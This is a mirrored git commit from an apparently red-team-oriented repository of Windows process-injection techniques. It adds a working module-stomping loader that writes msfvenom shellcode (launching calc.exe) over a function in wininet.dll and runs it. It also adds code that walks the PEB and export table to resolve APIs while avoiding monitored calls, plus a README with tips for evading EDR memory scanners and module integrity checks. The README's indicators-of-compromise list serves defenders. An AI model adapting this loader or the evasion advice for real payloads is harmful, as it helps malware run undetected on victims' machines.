mirror of
https://github.com/toneillcodes/windows-process-injection
synced 2026-06-21 14:11:25 +00:00
Adding module stomping. Fixing VirtualAlloc call in example 2, adding stub folders for additional techniques.
This commit is contained in:
@@ -0,0 +1,3 @@
|
||||
# Direct Syscalls
|
||||
Invoking functions using low-level syscalls instead of APIs.
|
||||
Relatively easy to spot by reviewing the call stack.
|
||||
@@ -0,0 +1,2 @@
|
||||
# Fiber Injection
|
||||
Injecting a payload in to a Thread Fiber instead of a thread.
|
||||
@@ -67,7 +67,7 @@ int main() {
|
||||
|
||||
// Update the memory protection value from RW to RWX
|
||||
DWORD lpOldProtect = NULL;
|
||||
BOOL updateMemoryProtection = VirtualProtect(pHandle, bufferAddress, sizeof buf, PAGE_EXECUTE_READWRITE, &lpOldProtect);
|
||||
BOOL updateMemoryProtection = VirtualProtect(bufferAddress, sizeof buf, PAGE_EXECUTE_READWRITE, &lpOldProtect);
|
||||
if(updateMemoryProtection == false) {
|
||||
printf("[ERROR] Failed to update memory protection (updating from RW to RWX)! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError());
|
||||
VirtualFree(bufferAddress, 0, MEM_RELEASE);
|
||||
@@ -87,7 +87,7 @@ int main() {
|
||||
WaitForSingleObject(tHandle, INFINITE);
|
||||
|
||||
// Update the memory protection value from RWX to RW
|
||||
updateMemoryProtection = VirtualProtect(pHandle, bufferAddress, sizeof buf, PAGE_READWRITE, &lpOldProtect);
|
||||
updateMemoryProtection = VirtualProtect(bufferAddress, sizeof buf, PAGE_READWRITE, &lpOldProtect);
|
||||
if(updateMemoryProtection == false) {
|
||||
printf("[ERROR] Failed to update memory protection (toggling back to RW)! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError());
|
||||
VirtualFree(bufferAddress, 0, MEM_RELEASE);
|
||||
|
||||
@@ -0,0 +1,78 @@
|
||||
#include "utils.h"
|
||||
|
||||
// custom string-to-integer conversion function
|
||||
int my_atoi(const char* s) {
|
||||
int res = 0;
|
||||
while (*s >= '0' && *s <= '9') {
|
||||
res = res * 10 + (*s - '0');
|
||||
s++;
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
// custom string length function
|
||||
int my_strlen(const char* inputString) {
|
||||
if (inputString == NULL) return 0;
|
||||
|
||||
int length = 0;
|
||||
while (inputString[length] != '\0') {
|
||||
length++;
|
||||
}
|
||||
return length;
|
||||
}
|
||||
|
||||
// custom string length function with for loop optimization
|
||||
int my_strlen_for(const char* s) {
|
||||
if (!s) return 0;
|
||||
|
||||
const char* p = s;
|
||||
for (; *p; p++); // The semicolon at the end is the empty body
|
||||
|
||||
return (int)(p - s);
|
||||
}
|
||||
|
||||
// custom string comparison function
|
||||
int my_strcmp(const char* s1, const char* s2) {
|
||||
while (*s1 && (*s1 == *s2)) {
|
||||
s1++;
|
||||
s2++;
|
||||
}
|
||||
// Return the difference between the characters
|
||||
// (unsigned char) cast ensures correct behavior with extended ASCII
|
||||
return *(unsigned char*)s1 - *(unsigned char*)s2;
|
||||
}
|
||||
|
||||
int my_stricmp(const char* s1, const char* s2) {
|
||||
while (*s1) {
|
||||
char c1 = *s1;
|
||||
char c2 = *s2;
|
||||
|
||||
// Convert c1 to lowercase if it's uppercase
|
||||
if (c1 >= 'A' && c1 <= 'Z') c1 += 32;
|
||||
// Convert c2 to lowercase if it's uppercase
|
||||
if (c2 >= 'A' && c2 <= 'Z') c2 += 32;
|
||||
|
||||
if (c1 != c2) {
|
||||
return (unsigned char)c1 - (unsigned char)c2;
|
||||
}
|
||||
s1++;
|
||||
s2++;
|
||||
}
|
||||
return (unsigned char)*s1 - (unsigned char)*s2;
|
||||
}
|
||||
|
||||
int my_wcsicmp(const wchar_t* s1, const wchar_t* s2) {
|
||||
wchar_t c1, c2;
|
||||
do {
|
||||
c1 = *s1++;
|
||||
c2 = *s2++;
|
||||
|
||||
// Convert both to lowercase for comparison
|
||||
if (c1 >= L'A' && c1 <= L'Z') c1 += (L'a' - L'A');
|
||||
if (c2 >= L'A' && c2 <= L'Z') c2 += (L'a' - L'A');
|
||||
|
||||
if (c1 == L'\0') return c1 - c2;
|
||||
} while (c1 == c2);
|
||||
|
||||
return c1 - c2;
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
#ifndef UTILS_H
|
||||
#define UTILS_H
|
||||
|
||||
#include <windows.h> // Needed for wchar_t and NULL
|
||||
|
||||
// Function Declarations
|
||||
int my_atoi(const char* s);
|
||||
int my_strlen(const char* inputString);
|
||||
int my_strlen_for(const char* s);
|
||||
int my_strcmp(const char* s1, const char* s2);
|
||||
int my_stricmp(const char* s1, const char* s2);
|
||||
int my_wcsicmp(const wchar_t* s1, const wchar_t* s2);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,2 @@
|
||||
# Indirect Syscalls
|
||||
Invoke functions using a ROP or JOP gadget to obscure the caller.
|
||||
@@ -0,0 +1,40 @@
|
||||
# Module Stomping (Module Overwriting)
|
||||
|
||||
## Summary
|
||||
Module Stomping is a process injection technique where a legitimate, image-backed DLL is loaded into a process, and its memory (typically the `.text` section) is overwritten with a payload. This ensures the payload resides within a memory region associated with a file on disk, rather than "Private" memory.
|
||||
|
||||
| Component | Description |
|
||||
| :--- | :--- |
|
||||
| **Technique** | Overwriting legitimate module code with a payload. |
|
||||
| **Tactical Goal** | **Evade Memory Scanners:** Bypasses detections that flag `RX` memory regions not backed by a file on disk (`MEM_PRIVATE`). |
|
||||
| **Stealth** | **Moderate.** While it solves the "unbacked memory" problem, it introduces another IoC "Module Mismatch" (the memory content no longer matches the file on disk). |
|
||||
|
||||
## Execution Steps
|
||||
The `local-stomp.cpp` example follows this execution logic:
|
||||
|
||||
1. **Load Target DLL:** Use `LoadLibraryExA` with the `DONT_RESOLVE_DLL_REFERENCES` flag to map a "sacrificial" DLL into the process without executing its entry point.
|
||||
2. **Identify Section:** Lazy locate the `.text` section of the loaded module to ensure the payload is placed in an executable region.
|
||||
3. **Reprotect (Write):** Call `VirtualProtect` to change the memory permissions from Read-Execute (`RX`) to Read-Write (`RW`).
|
||||
4. **Write Payload:** Use `WriteProcessMemory` or `RtlCopyMemory` to stomp the payload over the legitimate instructions.
|
||||
5. **Reprotect (Execute):** Revert the memory permissions back to Read-Execute (`RX`).
|
||||
6. **Execution:** Trigger the shellcode using a thread execution API (e.g., `CreateThread` or `CreateRemoteThread`).
|
||||
|
||||
## OPSEC Considerations
|
||||
|
||||
### 1. Image Divergence
|
||||
Modern EDRs perform "Module Integrity Checks" by comparing the code in memory against the original file on disk.
|
||||
* **The Risk:** If `Memory_Hash(DLL) != Disk_Hash(DLL)`, an alert is triggered.
|
||||
* **Mitigation:** Choose large DLLs and only stomp the specific bytes needed. Consider using "Nops" to mask the payload entry.
|
||||
|
||||
### 2. API Monitoring
|
||||
The use of `VirtualProtect` on an image-backed region is a high-confidence heuristic for many security products.
|
||||
* **Red Team Tip:** Instead of `VirtualProtect`, advanced implementations use `NtMapViewOfSection` to map a modified view of the DLL directly into memory, avoiding the "Modify" event entirely.
|
||||
|
||||
### 3. Target Selection
|
||||
* **Size Matters:** The sacrificial DLL must have a `.text` section larger than your payload.
|
||||
* **Frequency:** Use common system DLLs that are normally present but rarely undergo deep integrity checks during routine operation.
|
||||
|
||||
## Indicators of Compromise (IoC)
|
||||
* **Memory/Disk Mismatch:** Significant byte differences between the loaded module and its corresponding `C:\Windows\System32\` file.
|
||||
* **Suspicious Call Trace:** Thread execution starting from the middle of a DLL's code section rather than a legitimate exported function.
|
||||
* **API Pattern:** The sequence of `LoadLibrary` -> `VirtualProtect(RW)` -> `VirtualProtect(RX)` is a classic signature of memory manipulation.
|
||||
@@ -0,0 +1,111 @@
|
||||
/*
|
||||
* Local module stomping: load a sacrificial DLL into the process memory, locate a function to stomp (it'll be within the .text section, this is lazy)
|
||||
* & inject calc.exe msfvenom shellcode into the target buffer, toggling the memory protection between RW and RWX
|
||||
* shellcode: msfvenom -p windows/x64/exec CMD=calc.exe -f C EXITFUNC=thread
|
||||
* compile: cl.exe local-stomp.cpp /W0 /D"UNICODE" /D"_UNICODE"
|
||||
*/
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
unsigned char buf[] =
|
||||
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
|
||||
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
|
||||
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
|
||||
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
|
||||
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
|
||||
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
|
||||
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
|
||||
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
|
||||
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
|
||||
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
|
||||
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
|
||||
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
|
||||
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
|
||||
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
|
||||
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
|
||||
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
|
||||
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
|
||||
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
|
||||
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
|
||||
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
|
||||
|
||||
// Retrieve the current process ID
|
||||
DWORD pid = 0;
|
||||
pid = GetCurrentProcessId();
|
||||
if(pid == 0) {
|
||||
printf("[ERROR] Failed to obtain current process ID!\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("[*] Running PI with target PID: %u\n", pid);
|
||||
|
||||
// Open a handle to the current process, this must be passed to VirtualAllocEx
|
||||
HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
|
||||
if(pHandle == NULL) {
|
||||
printf("Failed to acquire process handle!\n");
|
||||
return -1;
|
||||
}
|
||||
printf("[*] Successfully opened handle to PID: %u\n", pid);
|
||||
|
||||
// load sacrificial DLL, using wininet because it is fairly large and so it can accomodate different PoC payloads
|
||||
HMODULE hSacrificialDll = LoadLibraryExA("wininet.dll", NULL, DONT_RESOLVE_DLL_REFERENCES);
|
||||
if (hSacrificialDll == NULL) {
|
||||
printf("[ERROR] Failed to obtain DLL handle! Error: %lu\n", GetLastError());
|
||||
return -1;
|
||||
}
|
||||
printf("[*] Target DDL loaded.\n");
|
||||
|
||||
LPVOID bufferAddress = (LPVOID)GetProcAddress(hSacrificialDll, "CommitUrlCacheEntryW");
|
||||
if (bufferAddress == NULL) {
|
||||
printf("[ERROR] Failed to locate target function CommitUrlCacheEntryW! Error: %lu\n", pid, GetLastError());
|
||||
return -1;
|
||||
}
|
||||
printf("[*] Target wininet.dll!CommitUrlCacheEntryW located at: : 0x%016llx\n", bufferAddress);
|
||||
|
||||
// Write the shellcode to the block of memory that we allocated with VirtualAllocEx
|
||||
BOOL writeShellcode = WriteProcessMemory(pHandle, bufferAddress, buf, sizeof buf, NULL);
|
||||
if(writeShellcode == false) {
|
||||
printf("[ERROR] Failed to write shellcode! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError());
|
||||
FreeLibrary(hSacrificialDll);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Update the memory protection value to RWX
|
||||
DWORD lpOldProtect = NULL;
|
||||
BOOL updateMemoryProtection = VirtualProtect(bufferAddress, sizeof buf, PAGE_EXECUTE_READWRITE, &lpOldProtect);
|
||||
if(updateMemoryProtection == false) {
|
||||
printf("[ERROR] Failed to update memory protection (updating from RW to RWX)! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError());
|
||||
VirtualFree(bufferAddress, 0, MEM_RELEASE);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Create a new thread using the shellcode buffer address as the starting point
|
||||
HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)bufferAddress, NULL, 0, NULL);
|
||||
if (tHandle == NULL) {
|
||||
printf("[ERROR] Failed to create thread within the process (PID: %u)! Error: %lu\n", pid, GetLastError());
|
||||
FreeLibrary(hSacrificialDll);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Wait for the thread to return - not required, but it definitely makes the demonstration much cleaner
|
||||
printf("[*] Waiting for the thread to return...\n");
|
||||
WaitForSingleObject(tHandle, INFINITE);
|
||||
|
||||
// Update the memory protection value from RWX to RW
|
||||
updateMemoryProtection = VirtualProtect(bufferAddress, sizeof buf, PAGE_READWRITE, &lpOldProtect);
|
||||
if(updateMemoryProtection == false) {
|
||||
printf("[ERROR] Failed to update memory protection (toggling back to RW)! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError());
|
||||
FreeLibrary(hSacrificialDll);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Clean up open handles and free the shellcode buffer memory
|
||||
CloseHandle(pHandle);
|
||||
CloseHandle(tHandle);
|
||||
FreeLibrary(hSacrificialDll);
|
||||
|
||||
printf("[*] Process injection complete.\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,2 @@
|
||||
# Thread Pool Injection
|
||||
Leveraging thread pool functionality to invoke payloads while avoiding well-known and highly scrunitinized APIs.
|
||||
@@ -0,0 +1,2 @@
|
||||
# Walking the PEB and EAT
|
||||
Using custom code to parse through the Process Environment Block and Export Address Table to resolve DLLs and functions while avoiding well-known and highly scrutinized APIs.
|
||||
@@ -0,0 +1,260 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <intrin.h> // Required for __readgsqword / __readfsdword
|
||||
#include <winternl.h> // for peb data structure https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb
|
||||
|
||||
#include "../header-files/utils.h"
|
||||
|
||||
// Define missing NTSTATUS codes
|
||||
#ifndef STATUS_SUCCESS
|
||||
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
|
||||
#endif
|
||||
|
||||
#define MAX_EXPORTED_FUNCS 25
|
||||
|
||||
#pragma comment(lib, "user32.lib")
|
||||
|
||||
// obtain the local process TEB
|
||||
void* GetLocalTebAddress(void) {
|
||||
#ifdef _WIN64
|
||||
return (void*)__readgsqword(0x30);
|
||||
#else
|
||||
return (void*)__readfsdword(0x18);
|
||||
#endif
|
||||
}
|
||||
|
||||
// todo: test and validation for remote PEB
|
||||
typedef NTSTATUS (NTAPI *pNtQueryInformationProcess)(
|
||||
HANDLE ProcessHandle,
|
||||
PROCESSINFOCLASS ProcessInformationClass,
|
||||
PVOID ProcessInformation,
|
||||
ULONG ProcessInformationLength,
|
||||
PULONG ReturnLength
|
||||
);
|
||||
|
||||
// todo: test and validation for remote PEB
|
||||
PVOID GetRemotePebAddress(HANDLE hProcess) {
|
||||
PROCESS_BASIC_INFORMATION pbi;
|
||||
ULONG returnLength;
|
||||
|
||||
// get the address of NtQueryInformationProcess
|
||||
// this could be replaced with a manual lookup through the local PEB to avoid GetProcAddress
|
||||
pNtQueryInformationProcess NtQueryInfo = (pNtQueryInformationProcess)GetProcAddress(
|
||||
GetModuleHandleA("ntdll.dll"),
|
||||
"NtQueryInformationProcess"
|
||||
);
|
||||
|
||||
// Query the process for the PEB address
|
||||
NTSTATUS status = NtQueryInfo(
|
||||
hProcess,
|
||||
ProcessBasicInformation, // Value 0
|
||||
&pbi,
|
||||
sizeof(pbi),
|
||||
&returnLength
|
||||
);
|
||||
|
||||
if (status == STATUS_SUCCESS) {
|
||||
return pbi.PebBaseAddress;
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// find the address of an exported function within a given module
|
||||
// obviously depends on a name value being present in the array found at AddressOfNames
|
||||
PVOID GetProcAddressManualByName(HMODULE hMod, char* targetFunc) {
|
||||
PBYTE base = (PBYTE)hMod;
|
||||
|
||||
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
|
||||
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
|
||||
|
||||
IMAGE_DATA_DIRECTORY exportDataDir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
if (exportDataDir.VirtualAddress == 0) return NULL;
|
||||
|
||||
PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)(base + exportDataDir.VirtualAddress);
|
||||
|
||||
PDWORD names = (PDWORD)(base + exports->AddressOfNames);
|
||||
PWORD ordinals = (PWORD)(base + exports->AddressOfNameOrdinals);
|
||||
PDWORD functions = (PDWORD)(base + exports->AddressOfFunctions);
|
||||
|
||||
// --- Binary Search Logic Start ---
|
||||
int low = 0;
|
||||
int high = exports->NumberOfNames - 1;
|
||||
|
||||
while (low <= high) {
|
||||
int mid = low + (high - low) / 2;
|
||||
char* currentName = (char*)(base + names[mid]);
|
||||
|
||||
int cmp = my_strcmp(targetFunc, currentName);
|
||||
|
||||
if (cmp == 0) {
|
||||
// Match found!
|
||||
WORD ordinalValue = ordinals[mid];
|
||||
DWORD funcRVA = functions[ordinalValue];
|
||||
|
||||
// Forwarder Check
|
||||
if (funcRVA >= exportDataDir.VirtualAddress &&
|
||||
funcRVA < (exportDataDir.VirtualAddress + exportDataDir.Size)) {
|
||||
// Add more forwarder logic here
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return (PVOID)(base + funcRVA);
|
||||
}
|
||||
|
||||
if (cmp < 0) {
|
||||
high = mid - 1; // Target is in the lower half
|
||||
}
|
||||
else {
|
||||
low = mid + 1; // Target is in the upper half
|
||||
}
|
||||
}
|
||||
// --- Binary Search Logic End ---
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// find the address of an exported function within a given module
|
||||
PVOID GetProcAddressManualByOrdinal(HMODULE hMod, WORD ordinal) {
|
||||
PBYTE base = (PBYTE)hMod;
|
||||
|
||||
// 1. Navigate to the Export Directory (standard PE parsing)
|
||||
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
|
||||
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
|
||||
PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)(base +
|
||||
nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
|
||||
// 2. Adjust the ordinal
|
||||
// Most DLLs start their ordinals at a "Base" (usually 1).
|
||||
// If the DLL says export #12 and the Base is 1, the actual index is 11.
|
||||
DWORD functionIndex = ordinal - exports->Base;
|
||||
|
||||
// 3. Bounds check
|
||||
if (functionIndex >= exports->NumberOfFunctions) return NULL;
|
||||
|
||||
// 4. Get the RVA from the functions array
|
||||
PDWORD functionsArray = (PDWORD)(base + exports->AddressOfFunctions);
|
||||
DWORD funcRVA = functionsArray[functionIndex];
|
||||
|
||||
return (PVOID)(base + funcRVA);
|
||||
}
|
||||
|
||||
PVOID GetModuleBaseManual(PPEB pebObject, const char* targetModuleName) {
|
||||
// we want the ldr data
|
||||
PPEB_LDR_DATA ldr = pebObject->Ldr;
|
||||
PLIST_ENTRY listHead = &ldr->InMemoryOrderModuleList;
|
||||
PLIST_ENTRY currentEntry = listHead->Flink;
|
||||
|
||||
// traverse the doubly-linked list, if we ouroboros we're done
|
||||
while (currentEntry != listHead) {
|
||||
// InMemoryOrderLinks is the second field in LDR_DATA_TABLE_ENTRY
|
||||
// use CONTAINING_RECORD to snap back to the start of the structure
|
||||
LDR_DATA_TABLE_ENTRY* moduleEntry = (LDR_DATA_TABLE_ENTRY*)CONTAINING_RECORD(
|
||||
currentEntry,
|
||||
LDR_DATA_TABLE_ENTRY,
|
||||
InMemoryOrderLinks
|
||||
);
|
||||
|
||||
UNICODE_STRING fileName = moduleEntry->FullDllName;
|
||||
//printf("fileName = %wZ\n", fileName);
|
||||
PVOID moduleBase = moduleEntry->DllBase;
|
||||
// get DOS Header
|
||||
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleBase;
|
||||
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
|
||||
printf("Invalid DOS Signature\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// get NT Headers using the offset from DOS Header
|
||||
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)moduleBase + dosHeader->e_lfanew);
|
||||
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) {
|
||||
printf("Invalid NT Signature\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Locate the Export Directory in the Data Directory
|
||||
IMAGE_DATA_DIRECTORY exportDataDir = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
if (exportDataDir.VirtualAddress == 0) {
|
||||
// does this case matter? maybe with debug enabled
|
||||
//printf("No Export Table found for entry %wZ\n", &fileName);
|
||||
}
|
||||
else {
|
||||
PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)moduleBase + exportDataDir.VirtualAddress);
|
||||
char* moduleName = NULL;
|
||||
moduleName = (char*)((BYTE*)moduleBase + exportDir->Name);
|
||||
|
||||
if (moduleName != NULL) {
|
||||
// todo: case insensitive would be better, the names are not consistent
|
||||
// examples: ntdll.dll, USER32.dll, KERNEL32.DLL
|
||||
//if (my_strcmp(moduleName, targetModuleName) == 0) {
|
||||
if (my_stricmp(moduleName, targetModuleName) == 0) {
|
||||
return moduleBase;
|
||||
}
|
||||
}
|
||||
}
|
||||
currentEntry = currentEntry->Flink;
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// custom type defs for function invocation
|
||||
typedef int (WINAPI* myMessageBoxA)(HWND hWnd, LPCSTR lptext, LPCSTR lpCaption, UINT uType);
|
||||
|
||||
int main(int argc, char* argv[]) {
|
||||
// import MessageBoxA for testing without triggering a message to the UI
|
||||
if (argc > 999) MessageBoxA(NULL, NULL, NULL, 0);
|
||||
|
||||
int debugOutput = 1;
|
||||
|
||||
void* teb = GetLocalTebAddress();
|
||||
if (debugOutput) {
|
||||
printf("Current process TEB address: %p\n", teb);
|
||||
}
|
||||
|
||||
void* peb = NULL;
|
||||
#ifdef _WIN64
|
||||
// On x64, PEB is at TEB + 0x60
|
||||
peb = *(void**)((unsigned char*)teb + 0x60);
|
||||
#else
|
||||
// On x86, PEB is at TEB + 0x30
|
||||
// not currently used, but good to have around
|
||||
peb = *(void**)((unsigned char*)teb + 0x30);
|
||||
#endif
|
||||
if (debugOutput) {
|
||||
printf("Current process PEB address (TEB + offset): %p\n", peb);
|
||||
}
|
||||
|
||||
// https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb#remarks
|
||||
// Assuming peb_address holds the valid memory location of the PEB
|
||||
PPEB peb_ptr = (PPEB)peb;
|
||||
|
||||
// Accessing the 'BeingDebugged' flag
|
||||
if (peb_ptr->BeingDebugged) {
|
||||
printf("Debugger is attached\n");
|
||||
}
|
||||
else {
|
||||
printf("No debugger detected\n");
|
||||
}
|
||||
|
||||
PVOID dllBase = GetModuleBaseManual(peb_ptr, "USER32.dll"); // or maybe ntdll.dll
|
||||
if(dllBase) {
|
||||
printf("DLL found @ %llx\n",dllBase);
|
||||
PVOID rvaFound = GetProcAddressManualByName((HMODULE) dllBase, "MessageBoxA"); // and then NtAllocateVirtualMemory
|
||||
if(rvaFound) {
|
||||
printf("found function within DLL @ %llx\n", rvaFound);
|
||||
// MessageBoxA example
|
||||
myMessageBoxA dynamicMsgBox = NULL;
|
||||
dynamicMsgBox = (myMessageBoxA)rvaFound;
|
||||
dynamicMsgBox(NULL, "Executed via manual address resolution!", "Success", MB_OK);
|
||||
} else {
|
||||
printf("Unable to locate function\n");
|
||||
}
|
||||
} else {
|
||||
printf("Unable to locate DLL\n");
|
||||
}
|
||||
|
||||
printf("Done.");
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user